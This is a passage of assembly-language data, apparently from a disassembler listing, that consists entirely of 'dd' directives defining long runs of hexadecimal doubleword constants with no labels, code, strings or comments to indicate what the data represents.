		dd 68377C91h, 0AA180428h, 4019F0FEh, 0DC019101h, 88EC4A6Fh
		dd 72EEEA21h, 0C1B10110h, 18CD122Ah, 0FCA2D026h, 4A719900h
		dd 0EEEBCFF1h, 0B4403D06h, 8996259Dh, 18646A9Eh, 331B7A03h
		dd 7AE981Ch, 0D7B3A848h, 32C210E0h, 0FA7054BCh,	0B4B8D928h
		dd 0D50FB275h, 20669BA5h, 87D40D17h, 143A07C2h,	0EB4B90E7h
		dd 0A6C1D8E8h, 60CBC609h, 6938E0ABh, 0F3951710h, 401400FFh
		dd 45726270h, 1390FB50h, 0A6A2C04h, 6C80DD58h, 48DF8710h
		dd 68138AA8h, 87F216CFh, 53C5107Ch, 0E4B2A764h,	0E19A181Fh
		dd 0A0E7D98Eh, 9D7965D1h, 21CA12F8h, 80680BE4h,	0AA2B040h
		dd 1BED55Ch, 98CEFFA8h,	0FF87F30h, 747BABh, 0A001F403h
		dd 6CE64297h, 81D3D60Bh, 4B2F0026h, 0C7F62E2Dh,	95793020h
		dd 8A88803Fh, 85045F42h, 26CAB5ECh, 67B3D8C0h, 1EE47352h
		dd 832EE53Fh, 759B3724h, 73F4ECB8h, 0E8698A03h,	0A8990D27h
		dd 654438h, 96AACA8Bh, 496EAE17h, 5F247600h, 0DEEF90D4h
		dd 0AF623EA9h, 1FF5CB00h, 5A32E042h, 0D8D40B00h, 1BBC926Fh
		dd 1D771E8Bh, 8028E43Dh, 31857DE9h, 2700732Ah, 1A8B41D9h
		dd 0FE3F6424h, 7D570B1Ch, 580F4A49h, 0A9DC83A0h, 0A300653Eh
		dd 0E6D42508h, 1DAD28C4h, 9435F6h, 5D34C38Fh, 0D0018415h
		dd 4AC2DB75h, 0E802242h, 5FCA93BBh, 5B0047A0h, 0BD2C8DE1h
		dd 139E2B7h, 0AC4E3E68h
		dd 803BBF94h, 0D9145D60h, 351CEEh, 0AA554289h, 0E41F8252h
		dd 0D227FA0Ch, 762824h,	9588B7D4h, 9D116A36h, 182CCF2Eh
		dd 2903080h, 514218h, 230548D7h, 0B6E3CA36h, 1C1FC5EAh
		dd 78809E1Bh, 0AC3DEA94h, 69E90073h, 0E59D868h,	0CE002B50h
		dd 34366381h, 1257624Eh, 90D2B809h, 231051A0h, 42AAB001h
		dd 8E328FA2h, 80804BD9h, 9509BFA7h, 5E25D6BBh, 0F5C2124h
		dd 418FA9BEh, 0E7032A55h, 33E03A57h, 6D005FC3h,	0ACE9783Bh
		dd 2E0BC4h, 9BC01232h, 95447AF8h, 127B13Dh, 0EE38E2E3h
		dd 59813EC1h, 0E8E1638Fh, 3C13D422h, 2D9F0519h,	8477370h
		dd 8FEACB70h, 88F12C64h, 2B252Bh, 5538C400h, 0E7300E72h
		dd 5FED08DDh, 0C75CA025h, 0D8960302h, 3FEE2E3Ah, 0D079088h
		dd 4F000BFEh, 94A8CB2Ch, 574B38h, 35964C83h, 0F3C6F793h
		dd 1B256A00h, 4131531Fh, 39A0B3Ah, 4982E1BAh, 918029F4h
		dd 0C52A8915h, 0C42E5A00h, 1EC233Ah, 4C1402D4h,	0F60FD74Bh
		dd 9B620340h, 7035EA00h, 0BD1F47BCh, 1C5EE0Eh, 0BB1A39F7h
		dd 0C0431312h, 2600755Eh, 0CECDC87Eh, 588F02E6h, 8A010970h
		dd 902C3F3Ah, 0ADC92046h, 0AA5CD00h, 41BBFA24h,	3E560095h
		dd 0C30F3159h, 6E1FC503h, 54CE4F37h, 9F86A0ADh,	127566BEh
		dd 0AC415EF9h, 0C3017C0Ch, 1E40CB5Ch, 0FAF8842Bh, 226805DDh
		dd 4063F67Ch, 755246B4h, 2A03F17Eh, 62E9D298h, 233BA18Fh
		dd 7529A300h, 0CD4E3Ch,	0C11BEDF1h, 0DD577Fh, 5F6F9F37h
		dd 992B1A8Ah, 3005A12Bh, 0BCF070h, 812B5CC7h, 0DD28D566h
		dd 29807BFAh, 4D6302AFh, 7896307Ch, 6948D860h, 0D0BC2812h
		dd 803E5C4Fh, 0D257EEF9h, 5F2F1902h, 802608A5h,	0F9D01021h
		dd 7C48244Ch, 0CA74008Fh, 0F62949C5h, 717AF56h,	0A4D67F5Dh
		dd 1FF4661h, 57E3F9A1h,	380C0E8Ah, 991F88h, 57CC2DF9h
		dd 2923713Eh, 742B4603h, 0B88E949Bh, 0C58F63EDh, 80EC2FD0h
		dd 6EC884B2h, 0A61B31F0h, 10E04513h, 0C0B35978h, 5761F997h
		dd 23448C5Ah, 0F9CE0015h, 0FB69B5C6h, 1900D42Bh, 94E41496h
		dd 60DF463Dh, 179DD85Eh, 4E00CE7Eh, 0A2C8226Bh,	6E22695h
		dd 0BDE6CBDAh, 430196D9h, 0D7AC9D40h, 1AECEA09h, 0D5120146h
		dd 0CEE36F03h, 58F9E48Eh, 42F0F207h, 71F0FADDh,	0C6F13Eh
		dd 0D160F718h, 988CFE9Dh, 56052600h, 635C58Eh, 6DF2E7h
		dd 0B542872Bh, 820BF07Dh, 56F7AC00h, 0D0E9DE24h, 5E200022h
		dd 97D414A2h, 0F000BECBh, 69DAF726h, 301CA56Ch,	0CA18E460h
		dd 8100C1A8h, 9D376F64h, 29DDB2h, 0DC30AFC6h, 9C66A009h
		dd 0D9EB7B00h, 7789CE4Bh, 12DB07CFh, 718D3B84h,	0F080AD74h
		dd 0E0008C66h, 0FE6341D8h, 607862h, 0D237F061h,	7553A527h
		dd 818E4A3Fh, 9ADE951Eh, 0C5DDBCA3h, 18E98880h,	0AD02A0A9h
		dd 2495A700h, 0E4AB7E66h, 0C76500EFh, 0B81B3562h, 0C113128Dh
		dd 99060636h, 10D06A2Eh, 14C20FBCh, 7C90C4F8h, 0AD8D207h
		dd 0ABC09A31h, 0F70E5B1h, 304B80A6h, 286CE266h,	0B6EFFF1Bh
		dd 1A75C130h, 18D87930h, 68348309h, 8600D021h, 7A9DD926h
		dd 0A5FA41Fh, 0F894C016h, 64330004h, 8B8DE0BCh,	0FE7B2E00h
		dd 2F761B1Ah, 63210055h, 0E59F64E2h, 31C03E16h,	7AB028BCh
		dd 0F91C009Eh, 0D1AEC6EDh, 53008636h, 6CEF3BBDh, 0E01EB728h
		dd 0C111305Fh, 0A465B138h, 63497F00h, 0D9096126h, 0AD2C0032h
		dd 0C845AE01h, 4F01B0E7h, 50EDCEACh, 13008D33h,	0F41DE049h
		dd 0E4C65276h, 0FB08FD7Eh, 0F21A8h, 7BCCDCE0h, 0E3576CCDh
		dd 394F34Ch, 7864743Ah,	4280CCEh, 8DC097BDh, 9831D900h
		dd 7361CA16h, 2B600F7Bh, 4E00D2C8h, 7D0F28CBh, 0A016BA01h
		dd 73D43251h, 0B194398Eh, 7B3DCDC0h, 180021A3h,	9D268A2h
		dd 785FE8D3h, 0F1DB6059h, 318C2633h, 8C2F08CBh,	644B17Bh
		dd 0BF6935Ch, 6D0029D0h, 18C9B1FBh, 332FC47Fh, 0B6084F40h
		dd 0E3872100h, 18B1DAB9h, 55113D8Ah, 13070606h,	51D9998h
		dd 35CCFED2h, 0F2D8A9F9h, 30EC131Eh, 676F06A7h,	0B56008EFh
		dd 1EDD2321h, 0FB711E2Fh, 0C9CA87FFh, 52FC9492h, 0E4B14F18h
		dd 32F43C7Bh, 734BA00h,	0E0D1E86Fh, 9BC75002h, 0C1C1FEE7h
		dd 0F882017Ah, 9D4C6B30h, 0B42104B7h, 6BE60421h, 8EA43068h
		dd 8C0EB708h, 7F012D42h, 31EB198Ah, 8823046Bh, 24A118F8h
		dd 0FE2710AAh, 18C020A4h, 0F50F5829h, 0F8D03A05h, 3CD13D33h
		dd 88500965h, 0F4FC180Ah, 8D0C8D42h, 0C012804h,	1C43930Dh
		dd 108963B1h, 64E59599h, 60105050h, 6808798Ah, 0CC14004h
		dd 0FBF9860Fh, 64A24978h, 0C2280408h, 7FE1B3F9h, 0C08A1F8h
		dd 1106760Ch, 9468A034h, 1320CA78h, 0A106D24h, 0C7007E50h
		dd 49B6CD9h, 0A33E0ADh,	93AB2528h, 0B42D0028h, 1187DBE2h
		dd 0A29D811Ah, 21FC1708h, 5F617D04h, 108ADEC3h,	45C425BAh
		dd 99FC1F1h, 2DF43046h,	6563D302h, 806DF98Fh, 9140A120h
		dd 9E610C06h, 0A519E5AAh, 66526A5Ch, 3469C738h,	0C359EF38h
		dd 48C6FD18h, 0A414C300h, 94CCD8B2h, 33D103C8h,	8AD55093h
		dd 0C21384Ch, 71B4C323h, 19E90076h, 3DC75162h, 0EC60DAF9h
		dd 0EAA40669h, 0CB48C0FCh, 9C189870h, 1DF0CE01h, 148D9B03h
		dd 8E40DFD3h, 6D124Ah, 86767E64h, 3DAFFD9Dh, 0E407A9C1h
		dd 88EF52Ch, 31E292Bh, 27B4FE2Eh, 0F548C163h, 980860CEh
		dd 3A3223DAh, 0BCF6F000h, 68FC4C16h, 0FDF678h, 0BAD17F71h
		dd 30743D8Dh, 879F2F1Eh, 0A0EB0880h, 0C0CF0BF3h, 9B1E8479h
		dd 8CA13117h, 9CADC182h, 5AC297E9h, 0C1CB9C28h,	0E2108950h
		dd 550FB32Ch, 0CE75FD8Fh, 0DB4C1FFh, 289189FCh,	4982CA6h
		dd 8A7CE808h, 88AB14h, 0EE6E786Bh, 0B30052DBh, 41F9D871h
		dd 1AE7FF29h, 309CE804h, 8C47006h, 3528F51Dh, 7980D0E4h
		dd 0A69CF1AEh, 1D98E8AAh, 8C92CC6Ch, 7621B722h,	0FD9C4C07h
		dd 5296516Ah, 0A86050A0h, 0A2E4281Bh, 0F83E49ACh, 17C40F30h
		dd 367E55D5h, 0E8316B02h, 4A99AA21h, 0CAA8142Ch, 1E972910h
		dd 0EC09396Bh, 6023416Fh, 0C17E3038h, 709B170Ah, 3F58B892h
		dd 0EF208622h, 8D9D1C50h, 0CBD790h, 0FE871303h,	2F1F5C19h
		dd 4AC0AC73h, 0B1DED10Bh, 0FF90036Bh, 9EFEAFE5h, 0EC06580Ah
		dd 8F10A4FDh, 35D0EB30h, 30C03EBCh, 40322C98h, 0BE370606h
		dd 0C893E4B3h, 0A213D200h, 2339922Fh, 1830E09Bh, 2025B0E6h
		dd 0D9C15AAFh, 0F3657258h, 0A1B68824h, 0C4321FB8h, 0B8287615h
		dd 0D314230h, 92E82158h, 29E4A934h, 9796D805h, 29457BC7h
		dd 40D38C2Ch, 0E8246C24h, 0C0A4440Dh, 0A250F141h, 0D11C0B15h
		dd 53E89C82h, 650D3045h, 881129F1h, 0E43216FAh,	52E9864h
		dd 60486CAAh, 6DAF0CE3h, 3009229h, 7402FF3Bh, 1958DFCh
		dd 0C722788Fh, 20EA2F14h, 3088F110h, 0DB9602C2h, 31BFEB38h
		dd 29A24886h, 0BA05B342h, 4FB3696h, 82C7BD3Ch, 58912F88h
		dd 0D3E1CDF9h, 2499023h, 0B05C1FEBh, 0B554F080h, 3000E068h
		dd 0E23DBA31h, 33FEFF38h, 8EB0B061h, 742F07E8h,	0EF4F6312h
		dd 0D768B807h, 0D0772E50h, 0BC783372h, 5BD8B079h, 0A454ACFDh
		dd 0DE28D7C8h, 6043B061h, 22CE2910h, 688D2FAh, 39DB165Ch
		dd 6BC0F0E3h, 0BAEE2879h, 0CB008A7Eh, 71D213BDh, 2417C753h
		dd 110C2E50h, 0ABF0198Bh, 78118910h, 0CBE03044h, 2D38B411h
		dd 2041626h, 0D5F933Ah,	28D864EBh, 0A0A0E4D1h, 10CE2DE9h
		dd 0E2C2E1DBh, 4830B818h
		dd 0C88C8A5Ch, 31005D18h, 167492B2h, 7FDE2835h,	88C55CFFh
		dd 28C8172Ah, 98E4FCh, 0BA0F84D4h, 70DED8B8h, 484CE398h
		dd 0A4180FFCh, 9A71C0CFh, 6009867Bh, 1DE71822h,	0EA3E4842h
		dd 0C6D20010h, 0CEAD6A6Dh, 601C96E3h, 76F2E083h, 88EF6221h
		dd 0EC078A12h, 82B3E04Ah, 3C44F888h, 0B0FA1EFFh, 751DC01Bh
		dd 338EDC6Ah, 6E68821Dh, 740098E4h, 0F8C74EDBh,	0C1FE1619h
		dd 9EAC48B6h, 50007496h, 0CA1C1690h, 241E3369h,	2100E808h
		dd 1F70F3E9h, 0AEDC17h,	59473BCDh, 0DBC3690Ch, 31039AF0h
		dd 77948C7Ah, 6FB0A82Fh, 7C80A312h, 0B2E90141h,	1C7719EFh
		dd 0FED2F070h, 0FC304C4Ah, 23201EC6h, 8F11C73Fh, 1ED12700h
		dd 504B2677h, 0B41F2103h, 64809D2Ch, 60D1D0D8h,	234B70CEh
		dd 0B908D416h, 0F65A00E7h, 0E03A8A70h, 400D8F36h, 80797450h
		dd 800B80Fh, 2938554Bh,	4D87F7h, 4C9666BCh, 836DEAE6h
		dd 0F0523612h, 0C21800FBh, 0F13DD246h, 0AF48F800h, 92D920DCh
		dd 4B900FFh, 430B2EECh,	0F20453A6h, 0DEEB1FC7h,	0F0D32780h
		dd 1B030125h, 0AE5EDCFEh, 221094FCh, 940CEA04h,	6A10BF7Bh
		dd 97A2D300h, 8DDD30B0h, 0B9433B1Dh, 0E4EA4405h, 8D207A5h
		dd 2D13B0FDh, 0A70FD052h, 79C6F4Eh, 11F0AD68h, 3D2C756h
		dd 0F903497Ah, 1A8CCC6h, 9E0E8F36h, 43E10519h, 0F8E82A4Bh
		dd 1C0E9Dh, 79A88A1Bh, 0F8FA585Dh, 1036DA00h, 0D2BA196Eh
		dd 559500FDh, 7812981Ah, 2B0E58AAh, 0E02F297Dh,	8424838Ch
		dd 0D8200305h, 1DBC01CBh, 0DD2CD9A8h, 476D5E00h, 0C2B28257h
		dd 53423B2Fh, 2180A605h, 180C6046h, 0FB38A787h,	0A2B38EF9h
		dd 0C651603Ah, 42F24Eh,	64FD2620h, 832A2D7Ch, 0C36EAF00h
		dd 9ACAA734h, 0BF9E00F7h, 1A509984h, 8E1C2054h,	464605EEh
		dd 0F410E0FDh, 6C41001Dh, 0C61EC260h, 1400E773h, 0B21C7884h
		dd 1BD1BCAh, 395FF39Ch,	402004CEh, 0CC30A0D0h, 0C1656D00h
		dd 43E9717Ch, 3FDA1D4Ch, 0E0608085h, 0C1AD81Ch,	2C01B902h
		dd 80704FFAh, 931E9CABh, 0E44700EAh, 5703097Dh,	0C812A6D5h
		dd 3040DF0Ah, 4BC6DB98h, 47E1008Ch, 0C33B687Ah,	9B00A5E6h
		dd 0A7BFE977h, 10AA61h,	8598C054h, 16697D12h, 1D036D00h
		dd 584D0F5Fh, 2FC4005Ah, 0C3E3EFF9h, 88079679h,	0D6050645h
		dd 1B0FDB21h, 22BFF940h, 19683C64h, 2BA8A900h, 54B1B44Dh
		dd 0E1C0E900h, 7C977945h, 0B3300029h, 129D48DDh, 0D8007E8Dh
		dd 81A13E91h, 0F89AA62h, 10EF0F55h, 0BB58D382h,	0EC39055Dh
		dd 45D9EC00h, 0B9A395h,	9F2FC3E5h, 0FEF65E6Eh, 9D0A7C07h
		dd 29F10B2Dh, 20805C8Ch, 7B6FFB95h, 0B25077F9h,	0EC289CCCh
		dd 7100C024h, 358BB3FFh, 69054Bh, 4AF5B2F6h, 83CDBD09h
		dd 10843E07h, 76806695h, 28C2B4ACh, 884CD8h, 2D9AB8E5h
		dd 32ED7FB7h, 0FD7A0100h, 362EF6EBh, 7C720F13h,	76002437h
		dd 81AC6512h, 90837300h, 7E747782h, 0E18E2E17h,	877B1FEAh
		dd 90508C80h, 523E0195h, 0D6071100h, 99246109h,	10D40032h
		dd 0E483E24Fh, 0D800F8E5h, 2C0D7E07h, 71840Eh, 292BE67Dh
		dd 0CEDC3DEDh, 0A7922602h, 682F87C8h, 777F4F08h, 0C05060BDh
		dd 0C2931AE9h, 908E300h, 1552B582h, 559C3060h, 0C61F6442h
		dd 0D0E6A00h, 875F3E95h, 31D20098h, 3D5842D6h, 0A006819h
		dd 0A3A1FC03h, 26659Ah,	1F5B4735h, 9E4E5CF2h, 0EB140C28h
		dd 99421200h, 0E0F1329Bh, 3C8C48F0h, 97EB7000h,	0B7CBB291h
		dd 23466813h, 4D085C40h, 7FEDC3h, 0D688B67Ah, 2460436Dh
		dd 73069B00h, 0F8B90257h, 12653AD0h, 783AC58Eh,	0C4A46743h
		dd 0D03742F1h, 52FA4114h, 422A91Fh, 8E0370C0h, 7D3919h
		dd 6ACBDD06h, 0D7C76F26h, 80166D7Bh, 63F83EA1h,	0B3A85900h
		dd 28E2FAB2h, 0A4DB141Fh, 13617B4Fh, 3116B00h, 3786672h
		dd 76F9E182h, 1DE1B213h, 0E07A713Bh, 27018B2Dh,	3EC2504h
		dd 89F0BACEh, 90801D5Dh, 404EDC65h, 0E3F6092Dh,	1D694A11h
		dd 4BDB838Eh, 0A42F8C9h, 1BA79E0h, 72C62DA2h, 24B3078Ch
		dd 2E0067F0h, 0A1F61E8Eh, 0B0FC44h, 9B9C8808h, 0E3EA8324h
		dd 0FA58E4FAh, 39A70171h, 28A1660h, 31B1EF8h, 55B6D2CCh
		dd 3FA8849Bh, 4D034608h, 6EAAF804h, 8EE8B9A5h, 9CF960h
		dd 20A893DCh, 2182ED01h, 511E6502h, 41FBC4F7h, 0CECD82Ch
		dd 0EF7C1413h, 3A73A402h, 500A0E8h, 8E463F9Ah, 7A5CD15Fh
		dd 0F587011Fh, 3CC15843h, 0C3C07BC5h, 144982Bh,	5EE74090h
		dd 80604E81h, 0D25C4610h, 0A86A11h, 92C28071h, 87FF08A6h
		dd 1C0E09F6h, 32AF5FA3h, 48312841h, 64344EB7h, 28810095h
		dd 0D949CD7Fh, 6597051h, 13C84C8Ch, 0B0204087h,	527273F7h
		dd 6000A830h, 2308A446h, 0EE007AC4h, 41649975h,	787410FAh
		dd 71E8002Ah, 0BCE3CDFEh, 6CB08F93h, 5CC738h, 91EAE0E5h
		dd 390CB9h, 2708A771h, 6CA6EFC0h, 97455A01h, 0F0FC1770h
		dd 5EB8F8h, 7C2146F8h, 0FECC0553h, 9998A009h, 9140004Fh
		dd 0F88CB1A7h, 0C84C0901h, 0AC003A13h, 0DBAF100Dh, 2D0A8900h
		dd 37F7B958h, 4082006Eh, 46034BF8h, 0EAE84C41h,	0BCCE7F0Eh
		dd 0E55000F1h, 1FE30856h, 80645468h, 8672CB20h,	17006587h
		dd 0DFB0747Ah, 527A9DDh, 14E1BB38h, 208C23A2h, 63F88095h
		dd 0AA03A479h, 7BFB41A0h, 4A3E98C9h, 0DA670038h, 88C14762h
		dd 510179ACh, 31AF25E2h, 0B4DC2804h, 9558001Dh,	3B274519h
		dd 0FB0050DCh, 0C8DD6774h, 72FAB1h, 77999173h, 1027A2F6h
		dd 5103FCE6h, 0CFD50A9Ah, 0B79CA856h, 0FDECEFh,	80505F83h
		dd 0A9545BDEh, 37F30E1Ch, 0EBF04540h, 0B5880Fh,	41BB8B8Eh
		dd 329FB75Fh, 0EDF53000h, 4B6FC946h, 4AE2003Ch,	0F1A6862h
		dd 56002E9Dh, 0F9EFE841h, 1CB916C7h, 0C9A38F9Bh, 202EE519h
		dd 2020DA6Fh, 58293DD7h, 262F4D01h, 0B59DF2F9h,	642015C5h
		dd 70E2D1h, 0C065A796h,	0B207386h, 50A7D03h, 0C8622B37h
		dd 9DDC1Dh, 1BCB7F04h, 0AD718FCh, 50330CF0h, 0C3DF10AEh
		dd 0B915E0CEh, 90314D65h, 0AC9D1A00h, 8BFE0109h, 0E2F96300h
		dd 2065E3FFh, 1880E7DFh, 0EB317FBAh, 0B8C0FD43h, 87119037h
		dd 2440E9ACh, 7C5F18C2h, 657100D8h, 6399F30Ch, 353AA0E5h
		dd 17260066h, 0E2E1292Fh, 717A18C2h, 0FE25380Eh, 0AA0E90E6h
		dd 0FB7B434Bh, 0E376E051h, 1AA600B0h, 0AD38C80Eh, 2E0056E7h
		dd 0E8537FEBh, 0EF4A17h, 13450D84h, 70AC7EC1h, 39022A01h
		dd 0E8A3327Fh, 0F7433FF4h, 47C8D8h, 18EB5BD4h, 375C632Ch
		dd 1C7B2176h, 29B93B06h, 8C46Eh, 0FDB638F6h, 0D36ABB7Ah
		dd 44001F7Fh, 77DBAD6h,	0BCDE6Ch, 0FD19FFDBh, 30651BD0h
		dd 40C8A003h, 0C8A22061h, 77FFBB6Eh, 3A580069h,	0CEFE2C60h
		dd 9200510Bh, 67EBD74Eh, 8F1B26h, 1CAC48C2h, 0DEBF94F0h
		dd 3770FD00h, 0AA25FF1Fh, 7DEC0082h, 0E7ED64A4h, 97FEB506h
		dd 6C93E800h, 16BA4C78h, 0AF61012Ch, 3BEA2089h,	82827h
		dd 0D70A6E1Ch, 250F60h,	23A6E2E7h, 6BDD257h, 20152272h
		dd 78E87A13h, 0B5CDDC00h, 0E2F1632Fh, 97B66A3h,	3C0021BDh
		dd 10E8B5F0h, 1DBB57FFh, 51D5D93Ah, 0DE6826E5h,	940D6A00h
		dd 93D981Fh, 30FDA5F6h,	5CBB1010h, 83392C3Eh, 70C610E0h
		dd 0B1F1E005h, 45C9638h, 0FBBB94h, 99C77D6Dh, 15CD3F6Fh
		dd 2E9E0903h, 0B13DDF94h, 0AEB63CCCh, 28048A3h,	3716DAC1h
		dd 1D1EFAA8h, 1B11F05Fh
		dd 39421FEh, 0F0EDBBC9h, 0B53F738Fh, 893D59D8h,	0D27780B2h
		dd 0CC3CD04Bh, 40114938h, 8DEC7800h, 0C099D52h,	0BF483400h
		dd 72022B7Eh, 8B7500D3h, 19C50BB7h, 0C04E2DEDh,	0F803EDF8h
		dd 75D6DF93h, 0D7BC3BA0h, 842F070Ah, 0FC00BC9Ah, 0F3795F05h
		dd 0A370618h, 842A0B0h,	20F20730h, 7913E0h, 64EDA6FDh
		dd 0CE3B2E85h, 1637A48h, 0BF06BA0Fh, 3231F9E0h,	0ED31A981h
		dd 0D37640A0h, 8009E1F3h, 2CBCCF0h, 1AA5810h, 0EF07FF25h
		dd 14F8FDBBh, 40C402A6h, 35C44818h, 3773C800h, 3A0F55h
		dd 8B862EB1h, 80E01AF4h, 0A0D8C454h, 0C906F90Ah, 8E702013h
		dd 334368h, 621609BBh, 2AF0FE50h, 0F0849B83h, 48C10C59h
		dd 5E387A23h, 0B402C8AAh, 0E440142Ah, 0B4608330h, 4B67F31h
		dd 2172001Bh, 7AB0E9A5h, 5800080Fh, 0F54CADE8h,	0F730FEC3h
		dd 0FBFDBB10h, 7C886700h, 6C294AB3h, 4EEFAA6h, 3B1CFFF7h
		dd 303C97C5h, 873F8501h, 6D008075h, 0D6F4E25Ah,	1D7B19B1h
		dd 0FF8FAA0h, 6100A673h, 0FD5623E0h, 51A4AE82h,	92B5C280h
		dd 458CB963h, 0B440CEB4h, 600080D5h, 75D2A147h,	267BF786h
		dd 0DDCF5EBh, 0F5997C38h, 0FA60C04Ch, 0F3DAC700h, 3D5B7DFDh
		dd 2049027Eh, 85ADA5B4h, 83B23040h, 790A0486h, 624F18F4h
		dd 16E5200Dh, 0D114AB79h, 10849C4Bh, 91011BC8h,	27FFFCEh
		dd 7589ECEDh, 35A040EFh, 291242FBh, 0A843F394h,	0B0656AA8h
		dd 0AA62ADh, 8568EDB2h,	6D22316h, 0C9093400h, 0AEE5F03Fh
		dd 3D215848h, 7929F94Ch, 0B5C38394h, 0CEDC62CDh, 0ABF20E38h
		dd 40C541B5h, 64D0712Dh, 7B0600E9h, 29443E53h, 220C1D35h
		dd 0C1C95DCCh, 0BD2F01E3h, 916C4BCDh, 92ACF31h,	4300A8DFh
		dd 249EBCBEh, 0B8D97CE8h, 0B1F918C8h, 0DC4121ADh, 0A4061893h
		dd 0A91FB4Fh, 99414EDh,	26478080h, 65BC2C8Fh, 9AE87F0Fh
		dd 83CBE028h, 49BDEADh,	6B3A2113h, 0E5A0E066h, 8EEDB300h
		dd 90FE53EEh, 0C849C0B0h, 4E68866h, 5F31B0A0h, 0CC5C763Ch
		dd 68CF2C50h, 832E8909h, 0D8A02A24h, 4CCE7BEDh,	0FE0D5AF1h
		dd 0E049279Eh, 0D9637EF8h, 1FFD6BC9h, 8085C019h, 0BBFBD32Ch
		dd 0D712C9B8h, 0EA3B51h, 0E68D77F9h, 0D0A83C74h, 39867A12h
		dd 6211B5CEh, 81808899h, 0C0B5B6C9h, 0FC286413h, 6C98FE28h
		dd 0C9464CA4h, 0F5794102h, 2C304718h, 5AE0A0F6h, 37790919h
		dd 34106BA2h, 59077875h, 208752BBh, 0CBEE2E01h,	0F54920h
		dd 72565826h, 0FDD80992h, 8008AB59h, 3EBDDACAh,	7458CA0h
		dd 0DAC2ECh, 0D6614F8Bh, 0CECC967Bh, 2CA9860Eh,	177D82B2h
		dd 1348647Ch, 0A3F5F0h,	0C4D74AFCh, 6D0038BDh, 406F1B9Ch
		dd 7A3DDE29h, 0D0F500BBh, 2A8B35B0h, 341C3171h,	0B8C4A36Bh
		dd 68C049A4h, 638F6773h, 0C61258B7h, 0E61C83D0h, 0A4658C38h
		dd 6940186Ah, 4F4C245h,	84FE8AE2h, 8CE4403Ah, 0FF2210CEh
		dd 0CD097C26h, 0E804C3BCh, 0EF7C8D90h, 2C512100h, 32347CBDh
		dd 0C9E009B0h, 75861DEDh, 20E17165h, 9058EAACh,	8C88782Ch
		dd 0BBBD0231h, 0DD484183h, 0D6B39C41h, 62D2E460h, 7D3D7700h
		dd 4BD7CB68h, 6B031629h, 0EB1828F8h, 6406C9E8h,	0B0287A65h
		dd 3F370570h, 0B85630h,	5F6F80B0h, 0AD05024Dh, 0B95EC575h
		dd 0CDED5C9Dh, 204E7EDDh, 804A5811h, 0CEFCA65Fh, 0F4782Fh
		dd 31134EF0h, 0C0CD1C17h, 832680B0h, 0C5807CBBh, 0A734224h
		dd 48A35DADh, 29DF1D80h, 0CB69B78Ch, 866801E0h,	188F927Bh
		dd 0FE1D7435h, 6501A048h, 0F81EAC23h, 0B27820DDh, 76EC053Ah
		dd 0F9A19A06h, 91025E7h, 0C46CAC21h, 6A943081h,	3F2000FDh
		dd 0F0DF608Ch, 6C44AEABh, 8D575C3Ah, 180F13EFh,	31528C30h
		dd 4CE84112h, 0C555E01Bh, 3F18BCB2h, 0B528DE64h, 7E20010h
		dd 0FA4A11Fh, 18CFD18Ch, 67A7ABC0h, 64C400F0h, 0FE312341h
		dd 0E54BBD03h, 7294F787h, 39CA05D8h, 0D03D3C3Fh, 63FE3598h
		dd 0F26BA00Ah, 55008C43h, 0DF2072DDh, 74F8F967h, 9A2502F5h
		dd 88C21B40h, 0B8B2ECE0h, 0A4A11BB8h, 0D285531h, 71196018h
		dd 9906D308h, 1F836674h, 113D39A9h, 0CE006056h,	64D09FB2h
		dd 0C900EDFh, 0B53C5410h, 0A59AB80Dh, 80900058h, 0FC4C8B98h
		dd 0FAD903A8h, 241D48B2h, 142C7479h, 809A7CFEh,	0B90825h
		dd 554BC53Ch, 6CB03526h, 0F1448480h, 37ABE588h,	66409707h
		dd 1A219042h, 0A0E7113Eh, 0CCB0A065h, 5B3AB649h, 0FE383160h
		dd 3E68F935h, 0F502DE9Ah, 0F284F6ADh, 8365B8A4h, 5A933A12h
		dd 0FDAB3101h, 66B2DD6Bh, 508BE02Bh, 2CF659C5h,	1A5C1C00h
		dd 3D3BAEB4h, 0A22A8075h, 9A810CCCh, 0B9A9255Fh, 0FD30700Eh
		dd 0ED65613Ah, 8450F92Eh, 1D199A96h, 5E31483Bh,	975AC1A7h
		dd 0F52E297Fh, 83FEC4E2h, 0C7113D60h, 3EEA434Ah, 0F10FB055h
		dd 8F6632ACh, 94816926h, 73B21077h, 14BA743Bh, 0A016C0ACh
		dd 0BCD27898h, 702058D3h, 1801841Fh, 10FAEBE3h,	0A1C0E457h
		dd 1BC45DBBh, 0C8EE4854h, 4967ED0Bh, 0D37664A7h, 46609BB0h
		dd 7B03B570h, 3B982CD9h, 152F91ACh, 0E040175Fh,	68EBEFB7h
		dd 6040682Ah, 2E541CF7h, 0C76A1A78h, 0CB077B19h, 838521E1h
		dd 2EEA9890h, 7B21C58Ah, 10541968h, 0FABC526Ch,	0DA2D9F21h
		dd 0CBB25030h, 2400C541h, 74D99BE4h, 0AC503F24h, 8D481882h
		dd 541064DCh, 42490CA6h, 88F321FAh, 570995A9h, 4224C368h
		dd 0A0FE04A0h, 58936865h, 0EC05BCFEh, 923430FDh, 0DC5A38D8h
		dd 307EFF2h, 0DAFAF2D3h, 4FC72380h, 0B0B800D1h,	38840D91h
		dd 3F2C9F72h, 3604B8CFh, 1CF2FDD8h, 0CFD70B1h, 0C2D40CCBh
		dd 4779C63Bh, 52F94B00h, 1DA7D921h, 0EFA00094h,	64B25A5Ch
		dd 9B0166B6h, 0D1F5B8DEh, 0AC607624h, 8B75004Dh, 0E2E17BE0h
		dd 53135215h, 0A82057EDh, 0A3E684h, 8216D08Dh, 2BF49B1Ch
		dd 64453F05h, 4CCA79Fh,	2DE001C5h, 5EBA1654h, 4241808Dh
		dd 0C299AEE2h, 875A0h, 0B2EF8B60h, 6A43471Dh, 0A92F0907h
		dd 414983FFh, 5CF8C8B8h, 11C9305Dh, 0CCBA9568h,	0E180401h
		dd 6F27CDCAh, 13571030h, 8BB13A70h, 0F5EBC234h,	0FE58101Bh
		dd 1C034F75h, 0F940FDC6h, 7C8148B1h, 0B47E5507h, 7C83C749h
		dd 43000339h, 5F3B57E8h, 4B1A12h, 2A8405C2h, 9C5CAF56h
		dd 0BC1FEF2Ch, 40D78F02h, 78047129h, 7862204h, 0E313BFF4h
		dd 0CD1C656Dh, 61A061C0h, 0C128082Ch, 4BC7BC1Ch, 0D8C49FD0h
		dd 0D03507AEh, 0F76F57D0h, 64144965h, 68941909h, 2147B040h
		dd 8DD04100h, 7FD80F66h, 0C2DCA8B0h, 0BF570294h, 0A8CAA6F8h
		dd 0B2318CA3h, 3DF1211Bh, 0FD13E051h, 50149E7Ch, 560E601Fh
